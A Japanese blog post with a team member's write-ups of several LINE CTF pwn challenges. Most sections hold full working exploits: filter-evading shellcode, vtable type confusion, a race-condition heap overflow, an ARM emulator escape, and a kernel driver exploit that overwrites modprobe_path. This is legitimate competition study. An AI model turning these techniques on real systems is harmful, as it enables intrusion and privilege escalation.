超一流有名SNSブランドLINEの開催する第二回目のCTFです。 24時間CTFだったので参加してみました。 最初の方は一人寂しくマウスポチポチしてましたが、起床失敗君や海外旅行から返ってきたチームメンバーなど数名が参加してくれて得点ブーストしたので後半は真面目に解きました。 *1
LINE CTFは賞金対象じゃなくても上位チームは去年もwriteup提出義務があったのですが、今年もありました。 これに真面目に対応してwriteupを提出すると、隠れ賞品が貰えることが知られています。 今年も貰えるといいな〜(わくわく)
通常提出義務系のwriteupはわざわざブログに書かないのですが、今回は日本語writeupでもOKということでちゃんと書く気力が出たのでこっちに書きます。
[Pwn/Misc 100pts] ecrypt (105 solves)
Xionさん*2がsuでrootになれることを発見して解いてくれました。 PCが無い状況でもスマホから参加してくれるの、偉すぎる。*3
[Pwn 205pts] trust code (20 solves)
これwarmupなんですか?もっと顧客のニーズに応えてください。
プログラムとしては、秘密のkeyをロードして、ユーザーが入力したIVとデータをAES-CBCで復号した結果がTRUST_CODE_ONLY!
という文字列から始まればだいたい任意のシェルコードを実行してくれます。
AESの鍵が分からないので当然通常これはできません。
上記のAESの復号に失敗すると、例外が発生してcatchされます。
Xionさんがすぐに例外で関数を抜ける際に、未初期化のShellcodeクラスのデストラクタが呼ばれてアドレスリークが起きることを発見してくれました。 しかし、例外が起きるとプログラムが終了してしまいます。
また、別の関数で少しスタックオーバーフローがあるのですが、stack canaryがあってPIEも有効なので特に悪用できません。 とはいえ存在する以上使うんだろうなーと思ってオーバーフローを起こしてみると、なんか例外周りのコードでSegmentation Faultが起こることが分かりました。 理由は、知りません。ソースコード付いてない問題は真面目に解析しない人なので。
オーバーフローしたデータがアドレスとして認識されているけれどもアドレスを持っていないので、partial overwriteしかないなぁと思って適当に2バイトくらいpartial overwriteしてみました。 すると、値によってはShellcodeのデストラクタが2回呼ばれて、2回目で鍵データが漏洩することがありました。 なぜ漏洩するのか?分かりません。
鍵が貰えたら任意のシェルコードが実行できます。syscall
命令を使って欲しくないのか0x0Fと0x05が禁止されていますが、当然簡単に回避できるので終わります。
鍵リーク:
from ptrlib import * for i in range(100): sock = Socket("nc 35.190.227.47 10009") sock.sendafter("iv> ", b"A"*0x18 + b'\x50\x56') sock.sendafter("code> ", "Hello") try: print(sock.recv(timeout=0.1)) print(sock.recv(timeout=0.1)) print(sock.recv(timeout=0.1)) print(sock.recv(timeout=0.1)) except TimeoutError: continue
シェルコード:
from ptrlib import * from Crypto.Cipher import AES def enc(data, iv): cipher = AES.new(secret, AES.MODE_CBC, iv) data += b'\x00' * (0x30 - len(data)) return cipher.encrypt(data) secret = b'v0nVadznhxnv$nph' sock = Socket("nc 35.190.227.47 10009") iv = b"A"*0x10 sock.sendafter("iv> ", iv) payload = b"TRUST_CODE_ONLY!" payload += nasm(f""" lea rbp, [rax+X] mov edx, 0x200 mov rsi, rax xor edi, edi xor eax, eax not word [rbp] X: db 0xf0, 0xfa """, bits=64) assert b'\x0f' not in payload and b'\x05' not in payload assert len(payload) < 0x30 sock.sendafter("code> ", enc(payload, iv)) sock.send(b"A" * 0x19 + nasm(""" xor edx, edx xor esi, esi call A db "/bin/sh", 0 A: pop rdi mov eax, 59 syscall """, bits=64)) sock.sh()
結局何をテーマにした問題なのかよく分かってないのでpwn初心者です。こんにちは。
→kusanoさんのwriteupによるとunwindでリターンアドレスを見たあと、それとeh_frameの内容を使ってどこに戻るかを決めているらしいです。要するに呼び出し元からcatchしてる箇所に飛ぶってこと?例外の種類の判定とか呼び出し元の呼び出し元でcatchしてる場合とかは、コンパイラがeh_frameをいい感じに作ってるんだろうか。
[Pwn 267pts] call-of-fake (11 solves)
ソースコードが、付いとらん。
なんか文字列を9回入力した後にヒープオーバーフローが起こせます。
文字列はobjectString
、文字列を管理しているやつがObjectManager
みたいなクラスになっていて、いずれも使われていない仮想メソッドを複数持っています。
ObjectManager
が9個のobjectString
ポインタを配列に持っているのですが、そのうち先頭のstr[0]
のインスタンスに直接0x400バイトのデータを書き込めます。
どう考えても仮想関数テーブルを使ってRIPを制御するのですが、ヒープのアドレスを持ってない上bssセクションに特段データは置けないので関数ポインタは設定できません。
このような状況は割とreal-worldのexploitでも起きるのですが、こういう時は別のクラスの仮想関数テーブルを使うことでtype confusionを起こし、それ経由でAAWなどを獲得する方法が安定です。
事実、この問題でも非想定解を嫌ってかvtableを使う前にvtable中のメソッドが既存クラスのものかをご丁寧にチェックする謎コードが入っています。
ということで各仮想メソッドがどういう処理を実装しているかを見ます。
set
のmemcpyが任意のアドレスから別のアドレスにデータをコピーするのに使えそうです。
コピーのサイズはrdxですが、これはaddTwiceTag
メソッドを使えば機械語的に調整できることが分かりました。
ということでmemcpy(dest, src, size)
みたいなprimitiveができたのですが、流石に一回じゃ足りないよなぁということで無限に呼び出せるようにします。
_start
を再度呼び出したいのですが仮想メソッドチェックが邪魔でできません。
不正なメソッドを検知したらプログラムがexit
を呼びます。
いつぞやのTSG LIVE CTFの想定解法と同じ手順で、[email protected]
を呼び出しても意味の無い関数で置き換えればexit
を通過して検知されてもプログラムを続行できます。
ということで、memcpy([email protected], [email protected], 8)
を呼びました。
続いてアドレスリークがしたいので、いつぞやのSECCON Online予選の非想定解法と同じ手順で、[email protected]
に[email protected]
入れて、stdin
をずらしてファイル構造体中のlibcアドレスをリークします。
とうことで、memcpy([email protected], [email protected], 8)
とmemcpy([email protected], <0x90がある場所>, 1)
を呼びました。
アドレスリークができたら[email protected]
にsystem
関数のポインタを入れたいです。
しかしsystem
関数のアドレスはメモリ上にありませんし、ヒープのアドレスも分かっていないです。
ということで、リークしたsystem
関数のアドレスを1バイトずつELF中から引っ張ってきてmemcpyで1バイトずつ書き込みます。
(1バイトなら0〜255までどれが来てもELF中に存在するはずなので、そこからコピーできます。)
実際にはstrlen
の下位3バイトを書き換えれば十分です。
from ptrlib import * libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") elf = ELF("./call-of-fake") sock = Socket("nc 34.146.170.115 10001") for i in range(9): sock.sendafter("str: ", str(i)*0x20) gm = 0x0000000000407118 fv_start = 0x400018 fv_set = 0x406d68 fv_addTwiceTag = 0x405d50 fv_fire = 0x405d20 payload = b'' payload += flat([ fv_addTwiceTag, elf.got("alarm"), 0, 0, 0, 0, 0, 0x41, fv_set, elf.got("exit"), 8, 0, 0, 0, 0, 0x41, fv_addTwiceTag, elf.got("puts"), 0, 0, 0, 0, 0, 0x21, 0xdeadbeef, 0xcafebabe, 0, 0x41, fv_set, elf.got("setvbuf"), 8, 0, 0, 0, 0, 0x21, 0xdeadbeef, 0xcafebabe, 0, 0x41, fv_addTwiceTag, 0x40103f, 0, 0, 0, 0, 0, 0x21, 0xdeadbeef, 0xcafebabe, 0, 0x41, fv_set, elf.symbol("stdin"), 1, 0, 0, 0, 0, 0x21, 0xdeadbeef, 0xcafebabe, 0, 0x41, fv_start, 1, 2, 3, 4, 5, ], map=p64) payload += p64(0x21) * ((0x400 - len(payload)) // 8) sock.sendafter("primitive: ", payload) libc_base = u64(sock.recvline()) - libc.symbol("_IO_2_1_stdin_") - 0x83 libc.set_base(libc_base) for i in range(9): sock.sendafter("str: ", str(i)*0x20) target = p64(libc.symbol("system"))[:4] payload = b'' payload += flat([ fv_addTwiceTag, next(elf.search(target[0:1])) + 0, 0, 0, 0, 0, 0, 0x41, fv_set, elf.got("strlen"), 1, 0, 0, 0, 0, 0x41, fv_addTwiceTag, next(elf.search(target[1:2])), 0, 0, 0, 0, 0, 0x21, 0xdeadbeef, 0xcafebabe, 0, 0x41, fv_set, elf.got("strlen") + 1, 1, 0, 0, 0, 0, 0x21, 0xdeadbeef, 0xcafebabe, 0, 0x41, fv_addTwiceTag, next(elf.search(target[2:3])), 0, 0, 0, 0, 0, 0x21, 0xdeadbeef, 0xcafebabe, 0, 0x41, fv_set, elf.got("strlen") + 2, 1, 0, 0, 0, 0, 0x21, 0xdeadbeef, 0xcafebabe, 0, 0x41, fv_start, 1, 2, 3, 4, 5, ], map=p64) sock.sendafter("primitive: ", payload) sock.sendafter("str: ", "/bin/sh\0") sock.sh()
これは「vtable overwriteでヒープのアドレスが分からない時に別のクラスのvtableに差し替えてtype confusionに持ち込む」というマイナーだけど便利な攻撃手法を紹介するための問題という認識で良いのかな?
[Pwn 290pts] simbox (9 solves)
なんかgdbにsimってフォルダがあって、その中にuserland qemuみたいに別アーキテクチャのプログラムをエミュレートできるバイナリがあるらしいです。 この問題ではそれを使って脆弱なARMプログラムが動いているのですが、エミュレータ自体に次のパッチが当たっています。
diff --git a/sim/arm/armos.c b/sim/arm/armos.c index a3713a5c334..3898e391e41 100644 --- a/sim/arm/armos.c +++ b/sim/arm/armos.c @@ -246,7 +246,15 @@ ReadFileName (ARMul_State * state, char *buf, ARMword src, size_t n) while (n--) if ((*p++ = ARMul_SafeReadByte (state, src++)) == '\0') + { + if (strstr(buf, "flag") != 0 || strstr(buf, "simbox") != 0) + { + OSptr->ErrorNo = cb_host_to_target_errno (sim_callback, ENAMETOOLONG); + state->Reg[0] = -1; + return -1; + } return 0; + } OSptr->ErrorNo = cb_host_to_target_errno (sim_callback, ENAMETOOLONG); state->Reg[0] = -1; return -1;
どうやらARMプログラム側をpwnしても外のフラグは読めないらしく、エミュレータを脱出してやるsandbox escape要素も含まれているみたいです。
何はともあれARM側をpwnするのですが、ソースコードが付いとらん。 (まあこれは結構小さいプログラムなので良いです。)
URLをパースしてGETパラメータも配列に記録できるのですが、そこで範囲外チェックが無いので配列に無限に値を書き込め、Stack Buffer Overflowが発生します。
この手のkasuエミュレータはNXやASLRを付けないのでスタックにシェルコードをブチ込んで実行できれば良いのですが、gdbのarm-runのデバッグ方法が分かりません。
分からないものは仕方ないのでデバッグなしてROP書きまーす。
NXは無いだろうという読みで、read(0, shellcode, XXX)
を呼んでシェルコードを書き込むstagerをROPで実現することを目標にします。
libc_csu_init
のようなものは無かったので、r0からr2レジスタを変更するgadgetを探すと、r0とr1については次のgadgetが見つかりました。
pop {r0, pc}; --> r0 pop {r4, r5, pc}; mov r1, r5; pop {r4, r5, pc}; --> r1
わい。
r2を設定するgadgetは見つからなかったのでBOFでRIPを取る前のコードを見ると、最後にr2が設定されるのはGETパラメータを一覧表示する際のカウンタとして使われていました。
なので、GETパラメータをたくさん入れておけばまぁまぁの量のデータがread
できそうです。
レジスタを設定した後にread
を呼びたいのですが問題が起きます。
ARMの場合call命令のようなものはないので、blx命令などでreadを呼ぶ必要があります。
しかし、blx read
の箇所を使ってもread終了後にそのblxの後ろに戻るだけでROP chainを継続できません。
また、バイナリが小さいためかblx レジスタ
のようなgadgetも存在しませんでした。
悲しみに暮れていたのですが、read
関数の先頭のlrとかpushしている箇所を飛ばせばいいじゃんになって解決します。
ここでspも保存されており、read
終了時にスタックからspがpopされるのですが、スタックポインタが分からないのでダメじゃんとなったのですが、適当な値に設定してもなんか動いてくれました。(は?)
たぶんpop {..., sp, pc}
ってなってる時は、その時点のスタックからspもpcも取り出されるんですね。
(しかし不思議なこととしてmain関数を再度呼んでも正しく動いた。spが0でも動いたが、spが0x1000とか特定の値では動かなかった。ARM分からん。)
read
直後のpcをshellcodeに設定できるのでシェルコード動かしたい放題です。
先に説明したようにこのstagerではreadのサイズを設定できていないので、実際にシェルコード本体として入れられるサイズに限りがあります。
ということで、もう一回シェルコードの中からreadを呼んでシェルコード本体を読みたいと思いました。
しかし、ARM初心者なのでbとかbxとかblxとかblとかがよく分からず、blx r0
のようにread
関数を呼んでもクラッシュしてしまいました。
この辺マジで意味分からんくて沼りましたが、sp壊してるのがダメなのかなーと思い断念。(でもmain関数は動くしmain関数から呼ばれているreadも動いている謎。)
おにぎりを食べていると*4、「mainのreadが動いているならswi呼べばいんじゃね?」になります。 何はともあれ「swi #0」してみると「invalid swi」みたいなエラーが出たのでgdbのコードを調べると、gdbのエミュレータは独自のシステムコール番号を持っていることが分かりました。 そこにread, write, seek, open等が用意されていたので、これで万事シェルコード読み込みなどが解決します。
最後にsandbox escapeですが、これは冒頭のパッチを見た瞬間に方針は立っていて、いつぞやのHITCONで解いたUser Mode Linuxのescapeと同じく、/proc/self/mem
経由でgdb側本体を破壊すれば良さそうです。
実際にやってみると特に詰まることなくシェルが取れました。
from ptrlib import * shellcode = assemble(""" // read(0, 0x26000, 0x20) mov r2, #0x20 mov r1, #0x26000 mov r0, #0 swi #0x6a // open(path, 2) mov r1, #2 mov r0, #0x26000 swi #0x66 mov r9, r0 cmp r0, #0 blt A // seek(fd, 0x40CFA3, 0) mov r1, #0x40 mov r1, r1, LSL #8 add r1, r1, #0xCF mov r1, r1, LSL #8 add r1, r1, #0xA3 mov r0, r9 swi #0x6b mov r1, #0x1 // read(0, buf, 0x100) mov r2, #0x100 mov r1, #0x26000 mov r0, #0 swi #0x6a cmp r0, #0 blt A // write(fd, buf, 0x100) mov r2, #0x100 mov r1, #0x26000 mov r0, r9 swi #0x69 cmp r0, #0 blt A swi #0x3 X: b X A: swi #0x1 """, arch='arm') elf = ELF("./simbox") sock = Socket("nc 35.243.120.147 10007") addr_main = elf.symbol("main") addr_read = 0x10334 addr_sc = (elf.section(".bss") + 0x800) & 0xfffff000 rop_pop_r0_pc = next(elf.gadget("pop {r0, pc}")) rop_pop_r4_pc = next(elf.gadget("pop {r4, pc}")) rop_pop_r4_r5_r6_r7_pc = next(elf.gadget("pop {r4, r5, r6, r7, pc}")) rop_pop_r4_r5_pc = next(elf.gadget("pop {r4, r5, pc}")) rop_mov_r1_r5_pop_r4_r5_pc = next(elf.gadget("mov r1, r5; pop {r4, r5, pc}")) rop_svc_123456_mov_r4_r0_mov_r0_r4_pop_r4_r5_pc = next( elf.gadget("svc #0x123456; mov r4, r0; mov r0, r4; pop {r4, r5, pc}") ) payload = [0 for i in range(71)] payload += [1, 0, 79] payload += [ rop_pop_r0_pc, 0xdead, 0, rop_pop_r4_r5_pc, 0, addr_sc, rop_mov_r1_r5_pop_r4_r5_pc, 4, 5, addr_read, 4, 5, 11, 0x7ffffff0, addr_sc , ] payload += [ 0 for i in range(0xb0) ] url = "http:///?" for v in payload: url += f"list={v}" url += "&" print(f"len(url) = 0x{len(url):x}") assert len(url) < 0x800 sock.sendlineafter("url> \n", url) for v in payload: sock.recvline() stage1 = assemble(""" // read(0, 0x25000, 0x1000) mov r2, #0x800 mov r1, #0x25000 mov r0, #0 swi #0x6a mov r1, #0x25000 bx r1 """, arch='arm') print(stage1.hex()) print(len(stage1)) sock.send(stage1) time.sleep(0.1) sock.send(shellcode) time.sleep(0.1) sock.send("/proc/self/mem\0") time.sleep(0.1) sock.send(nasm(""" xor edx, edx xor esi, esi call A db "/bin/sh", 0 A: pop rdi mov eax, 59 syscall """, bits=64)) sock.sh()
ところでちょうどptrlibにARMのアセンブラが追加されていたので便利でした。 この問題は面白かったです。
[Pwn 305pts] mail (8 solves)
ソースコードが付いています。やったー! でも量が多いです。いやだー!
プログラムはshared memoryを使って通信するメールソフト(笑)です。 shared memoryを使って通信する問題は90%くらいの確率で、書き込み側と読み込み側で整合性が取れなくなることでバグる脆弱性があります。 なぜ整合性が取れなくなるかは問題次第ですが、この問題ではusleepが多様されているので間違いなくrace conditionだろうなーと思ったらrace conditionでした。
とはいえ最初から気づいた訳ではなく、ソースコードを読みたくないので、まずバグクラスを特定するためにfuzzerを書きました。
するとクラッシュはしなかったものの、sendmsg
が連続するときにプログラムがハングする可能性が高いことが分かりました。
sendmsg
を処理するコードを見に行くと、脆弱性は一目瞭然でした。
bzero(to, ACCOUNT_ID_MAXLEN + 1); memcpy(to, memory->accountId, memory->accountIdSize); size = countAccount(to); if (!size) { error(); return; } memory->isSendMessageSendedDone = true; if (memory->messageSize > MESSAGE_MAXLEN) [2] { error(); return; } usleep(100); message = new char[MESSAGE_MAXLEN + 1]; if (!message) { error(); return; } mmsg = new struct mail_message; if (!mmsg) { error(); return; } mmsg->setMessage(message); mmsg->setMessageSize(memory->messageSize); mmsg->setTo(to); bzero(message, MESSAGE_MAXLEN + 1); memcpy(message, memory->message, memory->messageSize);
[2]でメッセージサイズがチェックされた後、[4]でコピーが発生します。 しかし[1]で処理完了をクライアントに通知しているので、クライアント側はプログラムが続行して場合によっては共有メモリへの書き込みができます。 そして[3]をご覧ください。 usleep君がraceしてくださいと必死に訴えているではありませんか。 usleep君の魂の叫びをキャッチしたので、さっそくraceのコードを書きます。
create("legoshi") login("legoshi") sock.send("2\nA\nlegoshi\n2\n" + "A"*0x500 + "\n") sock.recvuntil("whom =") sock.recvuntil("whom =") time.sleep(0.01) sock.sendline("A")
だいたいこんな感じで高い確率でヒープオーバーフローが発生してクラッシュすることが分かりました。 1バイトのデータ"A"を書き込んだ後に"A"*0x500を書き込もうとして、このときサーバーはmemcpyを走らせる前に共有メモリ上のサイズ情報を書き換えるので大変なことになります。
あとはヒープオーバーフローをどう悪用するかですが、ソースコードをgrepすると仮想メソッドが見つかります。
struct mail_message { mail_message() : message(NULL), messageSize(0), to(NULL) {} virtual ~mail_message() { delete message; delete to; message = NULL; messageSize = 0; to = NULL; } ...
mail_message
デストラクタ君が俺を破壊してくれと言わんばかりに大声を上げているのが、皆さんには伝わってくるでしょうか。
このクラスはおいしくて、仮想関数テーブルを持つだけでなくメール本文の文字列ポインタも持っています。 このポインタを操作することで、メールの本文からアドレスリークできるAARが作れます。
ということでAAR primitiveを作ってプロセス→libc→スタック→ヒープ→共有メモリの順にアドレスを辿り、最後に仮想関数テーブルを共有メモリ中の操作可能な領域に指させれば完了です。 実際にはローカルだとCPUが良いせいかraceがよく失敗したので、デバッグ用にlibc→共有メモリと飛ばしてズルしました。 (もちろんリモートでほぼ100%動くことを確認した。)
仮想メソッドですので、RIPを取ったらお好きなCOP gadgetでCOP chainを実行しましょう。
from ptrlib import * def create(name): assert is_cin_safe(name) sock.sendlineafter("off\n", "0") sock.sendlineafter("id =\n", name) def login(name): assert is_cin_safe(name) sock.sendlineafter("off\n", "1") sock.sendlineafter("id =\n", name) def sendmsg(msg, who): assert is_cin_safe(msg) assert is_cin_safe(who) sock.sendlineafter("off\n", "2") sock.sendlineafter("message =\n", msg) sock.sendlineafter("whom =\n", who) def inbox(index): sock.sendlineafter("off\n", "3") sock.sendlineafter("index =\n", str(index)) if b'Inbox message' in sock.recvline(): return sock.recvline() def delete(index): sock.sendlineafter("off\n", "4") sock.sendlineafter("index =\n", str(index)) def logout(): sock.sendlineafter("off\n", "5") libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") elf = ELF("./mail") def overwrite(payload): logout() create("legoshi") login("legoshi") delete(0) sendmsg(payload, "legoshi") time.sleep(0.1) inbox(0) sock.send("2\nA\nlegoshi\n2\n" + "A"*0x430 + "\n") sock.recvuntil("whom =") sock.recvuntil("whom =") time.sleep(0.01) sock.sendline("A") if inbox(1) == b'A': logger.warning("Bad luck") sock.close() exit() logout() create("a") login("a") sock = Socket("nc 34.146.156.91 10004") payload = flat([ elf.got("alarm") - 8, elf.got("read"), 0x10, next(elf.search("a\0")) ], map=p64) overwrite(payload) libc_base = u64(inbox(0)) - libc.symbol("read") libc.set_base(libc_base) delete(0) payload = flat([ elf.got("alarm") - 8, libc.symbol("environ"), 0x10, next(elf.search("a\0")) ], map=p64) overwrite(payload) addr_stack = u64(inbox(0)) - 0x138 logger.info("stack = " + hex(addr_stack)) delete(0) payload = flat([ elf.got("alarm") - 8, addr_stack, 0x10, next(elf.search("a\0")) ], map=p64) overwrite(payload) addr_heap = u64(inbox(0)) + 8 logger.info("heap = " + hex(addr_heap)) delete(0) payload = flat([ elf.got("alarm") - 8, addr_heap + 1, 0x10, next(elf.search("a\0")) ], map=p64) overwrite(payload) addr_shm = u64(inbox(0)) << 8 logger.info("shm = " + hex(addr_shm)) delete(0) one_gadget = libc_base + 0xe3b31 rop_mov_rdx_prdiP8h_mov_prsp_rax_call_prdxP20h = libc_base + 0x001518b0 payload = flat([ addr_shm + 0x40, addr_shm + 0x440, 0, next(elf.search("a\0")), ], map=p64) overwrite(payload) payload = p64(0) + p64(rop_mov_rdx_prdiP8h_mov_prsp_rax_call_prdxP20h) sendmsg(p64(one_gadget) * 4, "a") inbox(1) sendmsg(payload, "legoshi") delete(0) sock.interactive()
ソースコードも付いており、かつ自然な問題設定でユーザーランドraceを実現した良問でした。
[Pwn 322pts] IPC handler (7 solves)
ソースコードが付いてないよぉぴえんぴえん
protobufを使っているのですが、protobufの構造すら教えてくれません。 エラーメッセージとguessを使ってprotobuf構造当てゲームをしていたら、x0r19x91さんが「バイナリの中に構造定義されてるで」と教えてくれて一瞬で解決しました。 腹筋背筋rev筋💪💪💪
戻してみたらこんな感じでした。
syntax = "proto2"; enum valueType { INT64 = 36863; UINT64 = 40960; STRING = 16384; DATA = 20480; } message dict_data { required string key = 1; required valueType value_type = 2; required bytes value = 3; } message dictionary { required string header = 1; repeated dict_data data = 2; } message protocol { required uint64 conn_id = 1; repeated dictionary dict = 2; }
これで通信できるようになったので脆弱性を探そうと思ったのですが、適当にデータを送ったらすぐクラッシュしました。
問題はscalar1, scalar2というキーでデータを送るとき、INT64やUINT64型なら正しく解釈できるのですが、STRINGやDATAの時はvtableにあたる箇所がデータポインタになっており、送ったデータをvtableとして呼び出してしまうtype confusionがあります。 RIPが取れたので終わりかと思ったのですが、ここからかなり悩みます。
だいたいRIPが取れたときはone gadgetかsystemかCOPかstack pivotをするのですが、まずASLRがあるのでone gadget/systemは無理です。
アドレスリークが必要なのでデータを出力したいのですが、send
でデータを送る場所にジャンプしても良い感じに未初期化変数をリークできなさそうでした。
(このあたりのROP chainを組んでみて無理と判断するまでに2時間くらい使ってしまった。)
COPやstack pivotのgadgetがなくて詰まっており、再度IDAの機械語を眺めていたら、memcpy相当のデータ移動があることを思い出しました。 そういえばなんでprocess_nameをローカルバッファにmemcpyしてるんだろ、と思った瞬間に解法が閃きました。
これは当然ROP chainを書き込む場所ですね。 add rsp gadgetを使えばROPに持ち込めそうです。 いつぞやのTSG CTFで出たCoffeeもそうですが、このタイプのstack pivot使う機会がかなり少ないので忘れがち。
from ptrlib import * import output.test_pb2 as pb HOST = "34.146.163.198" elf = ELF("./ipc_handler") libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") rop_pop_rdi = 0x00415983 rop_add_rsp_2d8h_pop_rbx_rbp = 0x00406b1d rop_csu_popper = 0x41597a rop_csu_caller = 0x415960 name = flat([ rop_csu_popper, 0, 1, 4, elf.got("puts"), 8, elf.got("send"), rop_csu_caller, 0xdead, 0, 1, 4, elf.section(".bss") + 0x800, 0x80, elf.got("read"), rop_csu_caller, 0xdead, 0, 1, elf.section(".bss") + 0x808, 0, 0, elf.section(".bss") + 0x800, rop_csu_caller, ], map=p64) print(hex(len(name))) payload = p64(rop_add_rsp_2d8h_pop_rbx_rbp) packet = pb.protocol() packet.conn_id = 1 a = pb.dict_data(key="process_name", value_type=pb.valueType.DATA, value=name) b = pb.dict_data(key="scalar1", value_type=pb.valueType.DATA, value=payload) c = pb.dict_data(key="scalar2", value_type=pb.valueType.DATA, value=payload) obj = pb.dictionary() obj.header = "XPC!" obj.data.extend([b, c, a]) packet.dict.extend([obj]) sock = Socket(HOST, 10003) sock.send(packet.SerializeToString()) libc_base = u64(sock.recv(8)) - libc.symbol("puts") libc.set_base(libc_base) sock.send(p64(libc.symbol("system")) + b"cat /home/ipc_handler/flag >&4\0") sock.sh()
[Pwn 322pts] ecrypt fixed (7 solves)
ソースコードが付いてないよぉぴえんぱおん
カーネルドライバでopen/read/write/close/ioctl/mmapが定義されています。
readとwriteを使ったらkernel panicになったので、ioctlを先に呼び出すのかなと思ってopen, ioctlの処理を読みます。
openではfile構造体のprivate_data
に次のような構造体を確保していました。
typedef struct { char buf[0x1000]; void *p1; void *p2; crypto_sync_skcipher *cipher; } PrivateData;
crypto_sync_skcipher
というのはカーネル空間でAES-CBCを計算するための某をopenで作っていたものです。
ioctlの方ではデータを設定でき、crypto_sync_skcipher
構造体と動的デバッグで見えた値を比べると、p1
, p2
はそれぞれkey, ivであることが分かりました。
つまり、ioctlではAESの鍵、IVを設定・削除できます。
特に脆弱性は見当たりません。
この状態でread/writeを呼んでもクラッシュしたので、今度はmmapを読みます。 調べたところカーネルドライバがmmapの実装をするときは物理アドレス(あるいはカーネル空間のアドレス?)との対応付けなどを独自実装する必要があるらしいです。 まさに脆弱性の温床という感じで、実際この問題にもバグがありました。 ソースコードが付いていないのでちゃんと読んでませんが、このドライバのmmapはfile構造体のprivate_dataのbufを割り当てます。 private_dataのbufは0x1000バイトしかないので、mmap時に確保サイズのチェックもされています。
今回のドライバは、mmap時にはハンドラの設定だけをして実際にメモリ割り当てはしません。
実際にユーザー空間からメモリアクセスがあったときに、map_pages
に設定されたvoper
という関数でprivate_dataを割り当てます。
ここでも当然サイズチェックがあるのですが、いろいろ試すと次のようなコードでサイズを0x2000にできました。
u8 *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); p = mremap(p, 0x1000, 0x2000, 0, NULL);
他にもmmap時のoffsetを0x1000にしても範囲外参照できたらしいです。
これでkeyとiv、そしてcrypto_sync_skcipher
のアドレスをユーザーランドから読み書きできる状態になりました。
mmap怖いピヨねぇ・・・
ここからどうするかですが、keyのサイズが0x20なのでseq_operations
をsprayするのが早そうかと思いました。
ioctlで鍵を設定したあとにseq_operations
をsprayすると周辺に確保されるはずなので、keyのポインタを0x20ずらします。
この状態でioctlを使って鍵を更新すると、sprayしたseq_operations
のどれかが書き換えられるのでRIPが取れます。
しかし、そんなことはしなくてもkeyのポインタそのものを書き換えればAAWが実現できるので、modprobe_pathをいじる方が楽そうです。
ということでkbase leakが必要なのですが、これにはIVを使います。
IVを例えばkey+0x20に向けると、seq_operations
中の関数ポインタがIVとして暗号化・復号されます。
そこで、最初はIVをkey(=既知データ)に向けて復号、次にIVをkey+1(=既知データ+ポインタ1バイト)に向けて復号、を繰り返すことで、CBCモードなので復号結果から鍵を1バイトずつ特定できます。
アドレスが分かったらmodprobe_pathを書き換えましょう。
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #define ofs_single_start 0x20afc0 #define addr_modprobe (kbase + 0x1851220 - 0x200000) unsigned long kbase; #define UPDATE_KEY 0x3003003 #define UPDATE_IV 0x4004004 #define REMOVE_KEY 0x5005005 #define REMOVE_IV 0x6006006 typedef unsigned char u8; typedef unsigned short u16; typedef unsigned int u32; typedef unsigned long u64; void fatal(const char *msg) { perror(msg); exit(1); } void hexdump(const u8 *data, size_t size) { for (size_t i = 0; i < size; i += 16) { printf("0x%04lx: 0x%016lx 0x%016lx | ", i, *(u64*)&data[i], *(u64*)&data[i+8]); for (int j = 0; j < 16; j++) { printf("%02x ", data[i+j]); } putchar('\n'); } } typedef struct { u8 key[0x20]; u8 iv[0x10]; } req_t; int fd; int main() { req_t r = {}; fd = open("/dev/ecrypt", O_RDWR); if (fd == -1) fatal("/dev/ecrypt"); memset(r.key, 'A', 0x20); memset(r.iv, 'B', 0x10); ioctl(fd, UPDATE_KEY, &r); ioctl(fd, UPDATE_IV, &r); u8 *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); printf("%p, %02x\n", p, p[0]); p = mremap(p, 0x1000, 0x2000, 0, NULL); hexdump(&p[0x1000], 0x20); int fds[100]; for (int i = 0; i < 100; i++) { fds[i] = open("/proc/self/stat", O_RDONLY); if (fds[i] == -1) fatal("/proc/self/stat"); } u8 buf[0x10]; u64 leak = 0; u8 a, b, c; *(u64*)&p[0x1008] = *(u64*)&p[0x1000] + 0x10; read(fd, buf, 0x10); a = buf[15]; b = 0x41; for (int i = 0; i < 8; i++) { *(u64*)&p[0x1008] = *(u64*)&p[0x1000] + 0x11 + i; read(fd, buf, 0x10); printf("%02x ^ %02x ^ %02x\n", a, b, buf[15]); c = (a ^ b ^ buf[15]); leak |= ((u64)c) << (i * 8); printf("[+] leak = 0x%016lx\n", leak); a = buf[15]; b = c; } kbase = leak - ofs_single_start; printf("[+] kbase = 0x%016lx\n", kbase); *(u64*)&p[0x1000] = addr_modprobe; strcpy(r.key, "/tmp/retsuko"); ioctl(fd, UPDATE_KEY, &r); system("echo '#!/bin/sh\nchmod -R 777 /flag' > /tmp/retsuko"); system("chmod +x /tmp/retsuko"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/tsunoda"); system("chmod +x /tmp/tsunoda"); puts("win"); system("/tmp/tsunoda"); system("/bin/sh"); return 0; }
綺麗な問題設定で一番面白かったです。ソースコードが付いていたら最高だったよ。
新規性をボール状に固めて豪速球で投げたみたいな問題セットで楽しかったです。 個人的にはecrypt > mail > simbox > trust code > call of fake > ipc handlerの順で面白かったです。 最後にIPC Handlerを解いたときに6時過ぎとかだったので、残りの2問は見てません!
運営おつかれさまでした〜
god shpik, god zzoru